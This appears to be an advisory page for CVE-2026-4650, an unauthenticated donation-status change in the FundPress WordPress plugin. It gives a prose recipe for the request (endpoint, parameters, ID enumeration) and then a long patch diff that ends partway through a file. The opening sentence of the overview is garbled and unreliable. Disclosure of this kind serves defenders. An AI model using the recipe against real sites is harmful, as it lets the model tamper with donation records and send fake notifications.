Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2026-4650: FundPress <= 2.0.8 – Missing Authorization to Unauthenticated Arbitrary Donation Status Modification via donate_action_status AJAX Handler (fundpress)

CVE ID CVE-2026-4650
Plugin fundpress
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.0.8
Patched Version 2.0.9
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4650:

This vulnerability affects the FundPress WordPress donation plugin (versions true`.

An attacker can exploit this with a simple HTTP POST request to `/wp-admin/admin-ajax.php`. The attacker does not need to be logged in. The required POST parameters are: `action=donate_action_status`, `donate_id=`, and `status=`. The GET parameter `schema=donate-ajax` must also be present. The `donate_id` is a sequential integer, making enumeration trivial. For example, an attacker can change a donation from “pending” to “completed” to trigger fake successful payment notifications, or change it to “cancelled” to deny a legitimate donor credit.

The patch (version 2.0.9) completely comments out the `donate_action_status()` method and its associated AJAX hook registration. In `fundpress/inc/class-dn-ajax.php`, lines 31-34 were changed: `’donate_action_status’ => true` became `//’donate_action_status’ => true`. The entire method body (lines 160-189) was commented out with `/* … */`. This removes the AJAX endpoint entirely. The same was done for the `donate_remove_compensate()` method. This is a complete removal of an unnecessary and dangerous feature.

If exploited, an attacker can arbitrarily change the status of any donation in the system. This can trigger side effects such as email notifications (e.g., a “thank you for your donation” email when the attacker sets status to “completed”), corrupt donation reporting, and undermine trust in the platform’s donation records. There is no direct data exposure, but the integrity of the donation system is compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fundpress/fundpress.php
+++ b/fundpress/fundpress.php
@@ -1,280 +1,280 @@
-<?php
-/**
- * Plugin Name: FundPress
- * Plugin URI: http://thimpress.com/fundpress
- * Description: Easily build your own crowdfunding platform like Kickstarter with this free WordPress donation plugin.
- * Author: ThimPress
- * Version: 2.0.8
- * Author URI: http://thimpress.com
- * Requires at least: 6.0
- * Requires PHP: 7.0
- * Text Domain: fundpress
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-! defined( 'FUNDPRESS_FILE' ) || exit();
-
-define( 'FUNDPRESS_FILE', __FILE__ );
-define( 'FUNDPRESS_PATH', trailingslashit( plugin_dir_path( __FILE__ ) ) );
-
-define( 'FUNDPRESS_URI', plugins_url( '', __FILE__ ) );
-
-define( 'FUNDPRESS_INC', FUNDPRESS_PATH . 'inc/' );
-define( 'FUNDPRESS_TEMP', FUNDPRESS_PATH . 'templates/' );
-
-define( 'FUNDPRESS_INC_URI', FUNDPRESS_URI . '/inc' );
-define( 'FUNDPRESS_ASSETS_URI', FUNDPRESS_URI . '/assets' );
-define( 'FUNDPRESS_LIB_URI', FUNDPRESS_INC_URI . '/libraries' );
-define( 'FUNDPRESS_VER', '2.0.1' );
-
-// define meta post type
-define( 'TP_DONATE_META_DONOR', 'thimpress_donor_' );
-define( 'TP_DONATE_META_DONATE', 'thimpress_donate_' );
-define( 'TP_DONATE_META_CAMPAIGN', 'thimpress_campaign_' );
-
-if ( ! class_exists( 'FundPress' ) ) {
-	/**
-	 * Class FundPress.
-	 */
-	class FundPress {
-
-		/**
-		 * @var array
-		 */
-		protected $_files = array();
-
-		/**
-		 * @var null
-		 */
-		public $options = null;
-
-		/**
-		 * @var null
-		 */
-		public $cart = null;
-
-		/**
-		 * @var null
-		 */
-		public $checkout = null;
-
-		/**
-		 * @var null
-		 */
-		public $payment_gateways = null;
-
-		/**
-		 * @var null
-		 */
-		public $settings = null;
-
-		/**
-		 * @var null
-		 */
-		public static $instance = null;
-
-		/**
-		 * FundPress constructor.
-		 */
-		public function __construct() {
-			// $this->includes();
-			$this->init_hooks();
-		}
-
-		/**
-		 * Includes needed files.
-		 */
-		public function includes() {
-			$this->_include( 'vendor/autoload.php' );
-			$this->_include( 'inc/class-dn-autoloader.php' );
-			$this->_include( 'inc/class-dn-setting.php' );
-
-			// autoload abstracts and settings classes
-			$paths = array( 'abstracts', 'settings' );
-			$this->_autoload( $paths );
-
-			// settings (autoload settings load before plugin loaded)
-			$this->settings = DN_Settings::instance();
-
-			if ( is_admin() ) {
-				$this->_include( 'inc/admin/class-dn-admin.php' );
-			}
-
-			$this->_include( 'inc/dn-core-functions.php' );
-			$this->_include( 'inc/dn-core-hooks.php' );
-			$this->_include( 'inc/dn-template-hooks.php' );
-			$this->_include( 'inc/class-dn-custom-post-type.php' );
-
-			// sessions libraries
-			$this->_include( 'inc/class-dn-sessions.php' );
-
-			$this->_include( 'inc/class-dn-campaign.php' );
-			$this->_include( 'inc/class-dn-cart.php' );
-			$this->_include( 'inc/class-dn-checkout.php' );
-			$this->_include( 'inc/class-dn-donate.php' );
-			$this->_include( 'inc/class-dn-donor.php' );
-			$this->_include( 'inc/class-dn-email.php' );
-			$this->_include( 'inc/class-dn-payment-gateways.php' );
-
-			$this->_include( 'inc/class-dn-template-include.php' );
-			$this->_include( 'inc/class-dn-ajax.php' );
-			$this->_include( 'inc/class-dn-assets.php' );
-			$this->_include( 'inc/class-dn-shortcodes.php' );
-
-			if ( ! is_admin() ) {
-				$this->_include( 'inc/class-dn-frontend-assets.php' );
-			}
-
-			$this->_autoload( array( 'products' ) );
-			$this->_include( 'inc/class-dn-install.php' );
-
-			// load vendors
-			if ( ! defined( 'CMB2_LOADED' ) ) {
-				// filter cmb2 metabox vendor
-				add_filter( 'cmb2_meta_box_url', array( $this, 'cmb2_meta_box_url' ) );
-				$this->_include( 'inc/vendors/cmb2/init.php' );
-			}
-		}
-
-		/**
-		 * Init hooks.
-		 */
-		public function init_hooks() {
-			add_action( 'init', array( $this, 'plugins_loaded' ), 0 );
-		}
-
-		/**
-		 * Plugins loaded hook.
-		 */
-		public function plugins_loaded() {
-			// load text domain
-			$this->load_text_domain();
-			$this->includes();
-			/**
-			 * Only create cart in frontend to prevent request-timeout when
-			 * wp try to call a test to a rest-api for site-health feature.
-			 */
-//			if ( ! is_admin() ) {
-				// cart
-				$this->cart = DN_Cart::instance();
-				// checkout
-				$this->checkout = DN_Checkout::instance();
-//			}
-
-			// payment gateways
-			$this->payment_gateways = DN_Payment_Gateways::instance();
-		}
-
-		/**
-		 * Load text domain.
-		 */
-		public function load_text_domain() {
-			// prefix
-			$prefix = basename( dirname( plugin_basename( __FILE__ ) ) );
-			$locale = get_locale();
-			$dir    = FUNDPRESS_PATH . 'languages';
-			$mofile = false;
-
-			$wp_file    = WP_LANG_DIR . '/plugins/' . $prefix . '-' . $locale . '.mo';
-			$pluginFile = $dir . '/' . $prefix . '-' . $locale . '.mo';
-
-			if ( file_exists( $wp_file ) ) {
-				$mofile = $wp_file;
-			} elseif ( file_exists( $pluginFile ) ) {
-				$mofile = $pluginFile;
-			}
-
-			if ( $mofile ) {
-				// In themes/plugins/mu-plugins directory
-				load_textdomain( 'fundpress', $mofile );
-			}
-		}
-
-		/**
-		 * Auto load files.
-		 *
-		 * @param array $paths
-		 */
-		private function _autoload( $paths = array() ) {
-			foreach ( $paths as $key => $path ) {
-				$real_path = FUNDPRESS_INC . '/' . $path;
-				$path      = substr( $path, 0, - 1 );
-				foreach ( (array) glob( $real_path . '/class-dn-' . $path . '-*.php' ) as $file ) {
-					$this->_include( $file );
-				}
-			}
-		}
-
-		/**
-		 * Include file.
-		 *
-		 * @param $file
-		 */
-		public function _include( $file ) {
-			if ( ! $file ) {
-				return;
-			}
-
-			if ( is_array( $file ) ) {
-				foreach ( $file as $key => $f ) {
-					if ( file_exists( FUNDPRESS_PATH . $f ) ) {
-						require_once FUNDPRESS_PATH . $f;
-					}
-				}
-			} else {
-				if ( file_exists( FUNDPRESS_PATH . $file ) ) {
-					require_once FUNDPRESS_PATH . $file;
-				} elseif ( file_exists( $file ) ) {
-					require_once $file;
-				}
-			}
-		}
-
-		/**
-		 * Filter cmb2 meta box url.
-		 *
-		 * @param string $url
-		 *
-		 * @return string
-		 */
-		public function cmb2_meta_box_url( $url ) {
-			$url = FUNDPRESS_INC_URI . '/vendors/cmb2/';
-
-			return $url;
-		}
-
-		/**
-		 * Instance.
-		 *
-		 * @return FundPress|null
-		 */
-		public static function instance() {
-			if ( ! self::$instance ) {
-				return self::$instance = new self();
-			}
-
-			return self::$instance;
-		}
-	}
-}
-
-/**
- * Short way to load main instance of plugin.
- *
- * @return FundPress|null
- * @since 2.0
- *
- */
-function FP() {
-	return FundPress::instance();
-}
-
-/**
- * Done! entry point of the plugin
- * Create new instance of LearnPress and put it to global
- */
-$GLOBALS['FundPress'] = FP();
+<?php
+/**
+ * Plugin Name: FundPress
+ * Plugin URI: http://thimpress.com/fundpress
+ * Description: Easily build your own crowdfunding platform like Kickstarter with this free WordPress donation plugin.
+ * Author: ThimPress
+ * Version: 2.0.9
+ * Author URI: http://thimpress.com
+ * Requires at least: 6.0
+ * Requires PHP: 7.0
+ * Text Domain: fundpress
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit();
+
+! defined( 'FUNDPRESS_FILE' ) || exit();
+
+define( 'FUNDPRESS_FILE', __FILE__ );
+define( 'FUNDPRESS_PATH', trailingslashit( plugin_dir_path( __FILE__ ) ) );
+
+define( 'FUNDPRESS_URI', plugins_url( '', __FILE__ ) );
+
+define( 'FUNDPRESS_INC', FUNDPRESS_PATH . 'inc/' );
+define( 'FUNDPRESS_TEMP', FUNDPRESS_PATH . 'templates/' );
+
+define( 'FUNDPRESS_INC_URI', FUNDPRESS_URI . '/inc' );
+define( 'FUNDPRESS_ASSETS_URI', FUNDPRESS_URI . '/assets' );
+define( 'FUNDPRESS_LIB_URI', FUNDPRESS_INC_URI . '/libraries' );
+define( 'FUNDPRESS_VER', '2.0.1' );
+
+// define meta post type
+define( 'TP_DONATE_META_DONOR', 'thimpress_donor_' );
+define( 'TP_DONATE_META_DONATE', 'thimpress_donate_' );
+define( 'TP_DONATE_META_CAMPAIGN', 'thimpress_campaign_' );
+
+if ( ! class_exists( 'FundPress' ) ) {
+	/**
+	 * Class FundPress.
+	 */
+	class FundPress {
+
+		/**
+		 * @var array
+		 */
+		protected $_files = array();
+
+		/**
+		 * @var null
+		 */
+		public $options = null;
+
+		/**
+		 * @var null
+		 */
+		public $cart = null;
+
+		/**
+		 * @var null
+		 */
+		public $checkout = null;
+
+		/**
+		 * @var null
+		 */
+		public $payment_gateways = null;
+
+		/**
+		 * @var null
+		 */
+		public $settings = null;
+
+		/**
+		 * @var null
+		 */
+		public static $instance = null;
+
+		/**
+		 * FundPress constructor.
+		 */
+		public function __construct() {
+			// $this->includes();
+			$this->init_hooks();
+		}
+
+		/**
+		 * Includes needed files.
+		 */
+		public function includes() {
+			$this->_include( 'vendor/autoload.php' );
+			$this->_include( 'inc/class-dn-autoloader.php' );
+			$this->_include( 'inc/class-dn-setting.php' );
+
+			// autoload abstracts and settings classes
+			$paths = array( 'abstracts', 'settings' );
+			$this->_autoload( $paths );
+
+			// settings (autoload settings load before plugin loaded)
+			$this->settings = DN_Settings::instance();
+
+			if ( is_admin() ) {
+				$this->_include( 'inc/admin/class-dn-admin.php' );
+			}
+
+			$this->_include( 'inc/dn-core-functions.php' );
+			$this->_include( 'inc/dn-core-hooks.php' );
+			$this->_include( 'inc/dn-template-hooks.php' );
+			$this->_include( 'inc/class-dn-custom-post-type.php' );
+
+			// sessions libraries
+			$this->_include( 'inc/class-dn-sessions.php' );
+
+			$this->_include( 'inc/class-dn-campaign.php' );
+			$this->_include( 'inc/class-dn-cart.php' );
+			$this->_include( 'inc/class-dn-checkout.php' );
+			$this->_include( 'inc/class-dn-donate.php' );
+			$this->_include( 'inc/class-dn-donor.php' );
+			$this->_include( 'inc/class-dn-email.php' );
+			$this->_include( 'inc/class-dn-payment-gateways.php' );
+
+			$this->_include( 'inc/class-dn-template-include.php' );
+			$this->_include( 'inc/class-dn-ajax.php' );
+			$this->_include( 'inc/class-dn-assets.php' );
+			$this->_include( 'inc/class-dn-shortcodes.php' );
+
+			if ( ! is_admin() ) {
+				$this->_include( 'inc/class-dn-frontend-assets.php' );
+			}
+
+			$this->_autoload( array( 'products' ) );
+			$this->_include( 'inc/class-dn-install.php' );
+
+			// load vendors
+			if ( ! defined( 'CMB2_LOADED' ) ) {
+				// filter cmb2 metabox vendor
+				add_filter( 'cmb2_meta_box_url', array( $this, 'cmb2_meta_box_url' ) );
+				$this->_include( 'inc/vendors/cmb2/init.php' );
+			}
+		}
+
+		/**
+		 * Init hooks.
+		 */
+		public function init_hooks() {
+			add_action( 'init', array( $this, 'plugins_loaded' ), 0 );
+		}
+
+		/**
+		 * Plugins loaded hook.
+		 */
+		public function plugins_loaded() {
+			// load text domain
+			$this->load_text_domain();
+			$this->includes();
+			/**
+			 * Only create cart in frontend to prevent request-timeout when
+			 * wp try to call a test to a rest-api for site-health feature.
+			 */
+//			if ( ! is_admin() ) {
+				// cart
+				$this->cart = DN_Cart::instance();
+				// checkout
+				$this->checkout = DN_Checkout::instance();
+//			}
+
+			// payment gateways
+			$this->payment_gateways = DN_Payment_Gateways::instance();
+		}
+
+		/**
+		 * Load text domain.
+		 */
+		public function load_text_domain() {
+			// prefix
+			$prefix = basename( dirname( plugin_basename( __FILE__ ) ) );
+			$locale = get_locale();
+			$dir    = FUNDPRESS_PATH . 'languages';
+			$mofile = false;
+
+			$wp_file    = WP_LANG_DIR . '/plugins/' . $prefix . '-' . $locale . '.mo';
+			$pluginFile = $dir . '/' . $prefix . '-' . $locale . '.mo';
+
+			if ( file_exists( $wp_file ) ) {
+				$mofile = $wp_file;
+			} elseif ( file_exists( $pluginFile ) ) {
+				$mofile = $pluginFile;
+			}
+
+			if ( $mofile ) {
+				// In themes/plugins/mu-plugins directory
+				load_textdomain( 'fundpress', $mofile );
+			}
+		}
+
+		/**
+		 * Auto load files.
+		 *
+		 * @param array $paths
+		 */
+		private function _autoload( $paths = array() ) {
+			foreach ( $paths as $key => $path ) {
+				$real_path = FUNDPRESS_INC . '/' . $path;
+				$path      = substr( $path, 0, - 1 );
+				foreach ( (array) glob( $real_path . '/class-dn-' . $path . '-*.php' ) as $file ) {
+					$this->_include( $file );
+				}
+			}
+		}
+
+		/**
+		 * Include file.
+		 *
+		 * @param $file
+		 */
+		public function _include( $file ) {
+			if ( ! $file ) {
+				return;
+			}
+
+			if ( is_array( $file ) ) {
+				foreach ( $file as $key => $f ) {
+					if ( file_exists( FUNDPRESS_PATH . $f ) ) {
+						require_once FUNDPRESS_PATH . $f;
+					}
+				}
+			} else {
+				if ( file_exists( FUNDPRESS_PATH . $file ) ) {
+					require_once FUNDPRESS_PATH . $file;
+				} elseif ( file_exists( $file ) ) {
+					require_once $file;
+				}
+			}
+		}
+
+		/**
+		 * Filter cmb2 meta box url.
+		 *
+		 * @param string $url
+		 *
+		 * @return string
+		 */
+		public function cmb2_meta_box_url( $url ) {
+			$url = FUNDPRESS_INC_URI . '/vendors/cmb2/';
+
+			return $url;
+		}
+
+		/**
+		 * Instance.
+		 *
+		 * @return FundPress|null
+		 */
+		public static function instance() {
+			if ( ! self::$instance ) {
+				return self::$instance = new self();
+			}
+
+			return self::$instance;
+		}
+	}
+}
+
+/**
+ * Short way to load main instance of plugin.
+ *
+ * @return FundPress|null
+ * @since 2.0
+ *
+ */
+function FP() {
+	return FundPress::instance();
+}
+
+/**
+ * Done! entry point of the plugin
+ * Create new instance of LearnPress and put it to global
+ */
+$GLOBALS['FundPress'] = FP();
--- a/fundpress/inc/class-dn-ajax.php
+++ b/fundpress/inc/class-dn-ajax.php
@@ -30,8 +30,8 @@
 			$actions = array(
 				'donate_load_form'         => true,
 				'donate_submit'            => true,
-				'donate_remove_compensate' => true,
-				'donate_action_status'     => true,
+				//'donate_remove_compensate' => true,
+				//'donate_action_status'     => true,
 			);

 			foreach ( $actions as $action => $nopriv ) {
@@ -113,8 +113,9 @@

 		/**
 		 * Remove campaign compensate.
+		 * @deprecated not using.
 		 */
-		public function donate_remove_compensate() {
+		/*public function donate_remove_compensate() {
 			if ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {
 				return;
 			}
@@ -148,7 +149,7 @@
 				'message' => __( 'Could not delete compensate. Please try again.', 'fundpress' )
 			) );
 			die();
-		}
+		}*/

 		/**
 		 * must login
@@ -160,8 +161,9 @@

 		/**
 		 * Update order donate status.
+		 * @deprecated not using.
 		 */
-		public function donate_action_status() {
+		/*public function donate_action_status() {
 			if ( ! isset( $_GET['schema'] ) || DN_Helpper::DN_sanitize_params_submitted( $_GET['schema'] ) !== 'donate-ajax' || empty( $_POST ) ) {
 				return;
 			}
@@ -187,7 +189,7 @@
 			) );
 			die();

-		}
+		}*/
 	}
 }

--- a/fundpress/inc/class-dn-cart.php
+++ b/fundpress/inc/class-dn-cart.php
@@ -1,408 +1,408 @@
-<?php
-/**
- * Fundpress Cart class.
- *
- * @version     2.0
- * @package     Class
- * @author      Thimpress, leehld
- */
-
-/**
- * Prevent loading this file directly
- */
-defined( 'ABSPATH' ) || exit();
-
-if ( ! class_exists( 'DN_Cart' ) ) {
-	/**
-	 * Class DN_Cart.
-	 */
-	class DN_Cart {
-
-		/**
-		 * @var array|null
-		 */
-		public $cart_contents = null;
-
-		/**
-		 * @var DN_Sessions|null
-		 */
-		public $sessions = null;
-
-		/**
-		 * @var int
-		 */
-		public $cart_total = 0;
-
-		/**
-		 * @var int
-		 */
-		public $cart_items_count = 0;
-
-		/**
-		 * @var DN_Sessions|null
-		 */
-		public $donate_info = null;
-
-		/**
-		 * @var null
-		 */
-		public $addtion_note = null;
-
-		/**
-		 * @var null
-		 */
-		public $donate_id = null;
-
-		/**
-		 * @var null
-		 */
-		public $donor_id = null;
-
-		/**
-		 * @var bool
-		 */
-		public $is_empty = true;
-
-		/**
-		 * @var null
-		 */
-		static $_instance = null;
-
-		/**
-		 * DN_Cart constructor.
-		 */
-		public function __construct() {
-			// load cart items
-			$this->sessions      = DN_Sessions::instance( 'thimpress_donate_cart' );
-			$this->cart_contents = $this->get_cart();
-
-			// refresh cart data
-			$this->refresh();
-
-			$this->donate_info = DN_Sessions::instance( 'thimpress_donate_info' );
-			$this->set_cart_information();
-
-			add_action( 'init', array( $this, 'process_cart' ), 99 );
-		}
-
-		/**
-		 * Remove, update cart.
-		 */
-		public function process_cart() {
-			if ( ! isset( $_GET['donate_remove_item'] ) ) {
-				return;
-			}
-
-			$redirect  = donate_cart_url() ? donate_cart_url() : home_url();
-			$cart_item = DN_Helpper::DN_sanitize_params_submitted( $_GET['donate_remove_item'] );
-			$this->remove_cart_item( $cart_item );
-			// redirect url
-			wp_redirect( $redirect );
-			exit();
-		}
-
-		/**
-		 * Get list cart item.
-		 *
-		 * @return mixed|WP_Error
-		 */
-		public function get_cart() {
-			$cart_items = array();
-
-			if ( $this->sessions && $this->sessions->session ) {
-				foreach ( $this->sessions->session as $cart_item_id => $cart_param ) {
-
-					if ( isset( $cart_param['campaign_id'] ) && $cart_param['campaign_id'] ) {
-						$param = new stdClass();
-						// each all cart_param and add to cart_items
-						foreach ( $cart_param as $key => $value ) {
-							$param->{$key} = $value;
-						}
-
-						$param->product_data = get_post( $param->campaign_id );
-
-						$post_type     = $param->product_data->post_type;
-						$product_class = 'DN_Product_' . ucfirst( str_replace( 'dn_', '', $post_type ) );
-						if ( ! class_exists( $product_class ) ) {
-							$product_class = 'DN_Product_Campain';
-						}
-
-						if ( ! class_exists( $product_class ) ) {
-							return new WP_Error( 'donate_cart_class_process_product', __( 'Class process product is not exists', 'fundpress' ) );
-						}
-
-						// class process product
-						$param->product_class = apply_filters( 'donate_product_type_class', $product_class, $post_type );
-						$product              = new $param->product_class();
-
-						// amount include tax
-						$param->total = floatval( $param->amount );
-
-						// add to cart_items
-						$cart_items[ $cart_item_id ] = $param;
-					}
-				}
-			}
-
-			return apply_filters( 'donate_load_cart_from_session', $cart_items );
-		}
-
-		/**
-		 * Add to cart.
-		 *
-		 * @param null $campaign_id
-		 * @param array $params
-		 * @param int $qty
-		 * @param int $amount
-		 * @param bool $asc
-		 *
-		 * @return null|string
-		 */
-		public function add_to_cart( $campaign_id = null, $params = array(), $qty = 1, $amount = 0, $asc = false ) {
-			$params = array_merge( array( 'campaign_id' => $campaign_id ), $params );
-			// generate cart item id by param
-			$cart_item_id = $this->generate_cart_id( $params );
-
-			if ( in_array( $cart_item_id, $this->cart_contents ) ) {
-				if ( $qty == 0 ) {
-					// remove item when qty = 0
-					return $this->remove_cart_item( $cart_item_id );
-				}
-
-				if ( $asc === false ) {
-					// remove item when is not asc
-					$this->remove_cart_item( $cart_item_id );
-				} else {
-					$params['quantity'] = $this->cart_contents['quantity'] + $qty;
-				}
-			} else {
-				$params['quantity'] = 1;
-			}
-
-			// only donate use
-			$params['amount'] = $amount;
-
-			// allow hook before set sessions
-			do_action( 'donate_before_add_to_cart_item' );
-
-			// set cart session
-			$this->sessions->set( $cart_item_id, $params );
-
-			// allow hook after set sessions
-			do_action( 'donate_after_add_to_cart_item' );
-
-			// refresh cart data
-			$this->refresh();
-
-			return $cart_item_id;
-		}
-
-		/**
-		 * Refresh cart.
-		 */
-		public function refresh() {
-			// refresh cart_contents
-			$this->cart_contents = $this->get_cart();
-
-			// refresh cart_totals
-			$this->cart_total = $this->get_total();
-
-			// refresh cart_items_count
-			$this->cart_items_count = count( $this->cart_contents );
-		}
-
-		/**
-		 * Get cart total.
-		 *
-		 * @return mixed
-		 */
-		public function get_total() {
-			$total = 0;
-			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
-				$total = $total + $cart_item->total;
-			}
-
-			// return total cart include tax
-			return apply_filters( 'donate_cart_totals_include_tax', $total );
-		}
-
-		/**
-		 * Set cart total.
-		 *
-		 * @return mixed
-		 */
-		public function set_total() {
-			return $this->cart_total = apply_filters( 'donate_cart_set_total', 0 );
-		}
-
-		/**
-		 * Get total exclude tax.
-		 *
-		 * @return mixed
-		 */
-		public function cart_total_exclude_tax() {
-			$total = 0;
-			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
-				$total = $total + $cart_item->total;
-			}
-
-			// return total cart exclude tax
-			return apply_filters( 'donate_cart_exclude_totals', $total );
-		}
-
-		/**
-		 * Get total include tax.
-		 *
-		 * @return mixed
-		 */
-		public function cart_taxs() {
-			$total = 0;
-			foreach ( $this->cart_contents as $cart_item_key => $cart_item ) {
-				$total = $total + $cart_item->tax;
-			}
-
-			// return cart tax total
-			return apply_filters( 'donate_cart_tax_total', $total );
-		}
-
-		/**
-		 * Get cart item.
-		 *
-		 * @param null $item_key
-		 *
-		 * @return mixed|WP_Error
-		 */
-		public function get_cart_item( $item_key = null ) {
-			if ( $item_key && isset( $this->cart_contents[ $item_key ] ) ) {
-				return $this->cart_contents[ $item_key ];
-			}
-
-			return new WP_Error( 'donate_cart_item_not_exists', sprintf( '%s %s', $item_key, __( 'cart item is not exists', 'fundpress' ) ) );
-		}
-
-		/**
-		 * Remove cart item.
-		 *
-		 * @param null $item_key
-		 *
-		 * @return null
-		 */
-		public function remove_cart_item( $item_key = null ) {
-			do_action( 'donate_remove_cart_item', $item_key );
-
-			if ( isset( $this->cart_contents[ $item_key ] ) ) {
-				unset( $this->cart_contents[ $item_key ] );
-			}
-			$this->sessions->set( $item_key, null );
-
-			do_action( 'donate_removed_cart_item', $item_key );
-
-			// return cart item removed
-			return $item_key;
-		}
-
-		// set cart information. donor_id. donate_id. addtion_note
-		public function set_cart_information( $info = array() ) {
-			$info = wp_parse_args(
-				$info,
-				array(
-					'addtion_note' => $this->donate_info->get( 'addtion_note' ),
-					'donate_id'    => $this->donate_info->get( 'donate_id' ),
-					'donor_id'     => $this->donate_info->get( 'donor_id' ),
-				)
-			);
-
-			foreach ( $info as $key => $value ) {
-				$this->donate_info->set( $key, $value );
-				$this->{$key} = $value;
-			}
-		}
-
-		/**
-		 * Get cart information.
-		 *
-		 * @param null $key
-		 *
-		 * @return mixed
-		 */
-		public function get_cart_information( $key = null ) {
-			$infos = array(
-				'addtion_note',
-				'donate_id',
-				'donor_id',
-			);
-
-			if ( in_array( $key, $infos ) ) {
-				return $this->{$key};
-			}
-
-			return false;
-		}
-
-		/**
-		 * Destroy cart.
-		 */
-		public function remove_cart() {
-			// remove
-			$this->cart_contents = array();
-			$this->sessions->remove();
-			$this->donate_info->remove();
-
-			// refresh cart contents
-			$this->cart_contents = array();
-			$this->refresh();
-			$this->set_cart_information(
-				array(
-					'addtion_note' => '',
-					'donate_id'    => '',
-					'donor_id'     => '',
-				)
-			);
-		}
-
-		/**
-		 * Check empty cart.
-		 *
-		 * @return bool
-		 */
-		public function is_empty() {
-			return $this->is_empty = ! empty( $this->cart_contents ) ? false : true;
-		}
-
-		/**
-		 * Generate cart item key.
-		 *
-		 * @param array $params
-		 *
-		 * @return mixed
-		 */
-		public function generate_cart_id( $params = array() ) {
-
-			$html = array();
-			ksort( $params );
-			foreach ( $params as $key => $value ) {
-				if ( is_array( $value ) ) {
-					$html[] = $key . donate_array_to_string( $value );
-				} else {
-					$html[] = $key . $value;
-				}
-			}
-
-			// return cart item id
-			return apply_filters( 'donat_generate_cart_item_id', md5( implode( '', $html ) ) );
-		}
-
-		/**
-		 * Instance.
-		 *
-		 * @return DN_Cart|null
-		 */
-		static function instance() {
-			if ( ! empty( self::$_instance ) ) {
-				return self::$_instance;
-			}
-
-			return self::$_instance = new self();
-		}
-	}
-}
+<?php
+/**
+ * Fundpress Cart class.
+ *
+ * @version     2.0
+ * @package     Class
+ * @author      Thimpress, leehld
+ */
+
+/**
+ * Prevent loading this file directly
+ */
+defined( 'ABSPATH' ) || exit();
+
+if ( ! class_exists( 'DN_Cart' ) ) {
+	/**
+	 * Class DN_Cart.
+	 */
+	class DN_Cart {
+
+		/**
+		 * @var array|null
+		 */
+		public $cart_contents = null;
+
+		/**
+		 * @var DN_Sessions|null
+		 */
+		public $sessions = null;
+
+		/**
+		 * @var int
+		 */
+		public $cart_total = 0;
+
+		/**
+		 * @var int
+		 */
+		public $cart_items_count = 0;
+
+		/**
+		 * @var DN_Sessions|null
+		 */
+		public $donate_info = null;
+
+		/**
+		 * @var null
+		 */
+		public $addtion_note = null;
+
+		/**
+		 * @var null
+		 */
+		public $donate_id = null;
+
+		/**
+		 * @var null
+		 */
+		public $donor_id = null;
+
+		/**
+		 * @var bool
+		 */
+		public $is_empty = true;
+
+		/**
+		 * @var null
+		 */
+		static $_instance = null;
+
+		/**
+		 * DN_Cart constructor.
+		 */
+		public function __construct() {
+			// load cart items
+			$this->sessions      = DN_Sessions::instance( 'thimpress_donate_cart' );
+			$this->cart_contents = $this->get_cart();
+
+			// refresh cart data
+			$this->refresh();
+
+			$this->donate_info = DN_Sessions::instance( 'thimpress_donate_info' );
+			$this->set_cart_information();
+
+			add_action( 'init', array( $this, 'process_cart' ), 99 );
+		}
+
+		/**
+		 * Remove, update cart.
+		 */
+		public function process_cart() {
+			if ( ! isset( $_GET['donate_remove_item'] ) ) {
+				return;
+			}
+
+			$redirect  = donate_cart_url() ? donate_cart_url() : home_url();
+			$cart_item = DN_Helpper::DN_sanitize_params_submitted( $_GET['donate_remove_item'] );
+			$this->remove_cart_item( $cart_item );
+			// redirect url
+			wp_redirect( $redirect );
+			exit();
+		}
+
+		/**
+		 * Get list cart item.
+		 *
+		 * @return mixed|WP_Error
+		 */
+		public function get_cart() {
+			$cart_items = array();
+
+			if ( $this->sessions && $this->sessions->session ) {
+				foreach ( $this->sessions->session as $cart_item_id => $cart_param ) {
+
+					if ( isset( $cart_param['campaign_id'] ) && $cart_param['campaign_id'] ) {
+						$param = new stdClass();
+						// each all cart_param and add to cart_items
+						foreach ( $cart_param as $key => $value ) {
+							$param->{$key} = $value;
+						}
+
+						$param->product_data = get_post( $param->campaign_id );
+
+						$post_type     = $param->product_data->post_type;
+						$product_class = 'DN_Product_' . ucfirst( str_replace( 'dn_', '', $post_type ) );
+						if ( ! class_exists( $product_class ) ) {
+							$product_class = 'DN_Product_Campain';
+						}
+
+						if ( ! class_exists( $product_class ) ) {
+							return new WP_Error( 'donate_cart_class_process_product', __( 'Class process product is not exists', 'fundpress' ) );
+						}
+
+						// class process product
+						$param->product_class = apply_filters( 'donate_product_type_class', $product_class, $post_type );
+						$product              = new $param->product_class();
+
+						// amount include tax
+						$param->total = floatval( $param->amount );
+
+						// add to cart_items
+						$cart_items[ $cart_item_id ] = $param;
+					}
+				}
+			}
+
+			return apply_filters( 'donate_load_cart_from_session', $cart_items );
+		}
+
+		/**
+		 * Add to cart.
+		 *
+		 * @param null $campaign_id
+		 * @param array $params
+		 * @param int $qty
+		 * @param int $amount
+		 * @param bool $asc
+		 *
+		 * @return null|string
+		 */
+		public function add_to_cart( $campaign_id = null, $params = array(), $qty = 1, $amount = 0, $asc = false ) {
+			$params = array_merge( array( 'campaign_id' => $campaign_id ), $params );
+			// generate cart item id by param
+			$cart_item_id = $this->generate_cart_id( $params );
+
+			if ( in_array( $cart_item_id, $this->cart_contents ) ) {
+				if ( $qty == 0 ) {
+					// remove item when qty = 0
+					return $this->remove_cart_item( $cart_item_id );
+				}
+
+				if ( $asc === false ) {
+					// remove item when is not asc
+					$this->remove_cart_item( $cart_item_id );
+				} else {
+					$params['quantity'] = $this->cart_contents['quantity'] + $qty;
+				}
+			} else {
+				$params['quantity'] = 1;
+			}
+
+			// only donate use
+			$params['amount'] = $amount;
+
+			// allow hook before set sessions
+			do_action( 'donate_before_add_to_cart_item' );
+
+			// set cart session
+			$this->sessions->set( $cart_item_id, $params );
+
+			// allow hook after set sessions
+			do_action( 'donate_after_add_to_cart_item' );
+
+			// refresh cart data
+			$this->refresh();
+
+			return $cart_item_id;
+		}
+
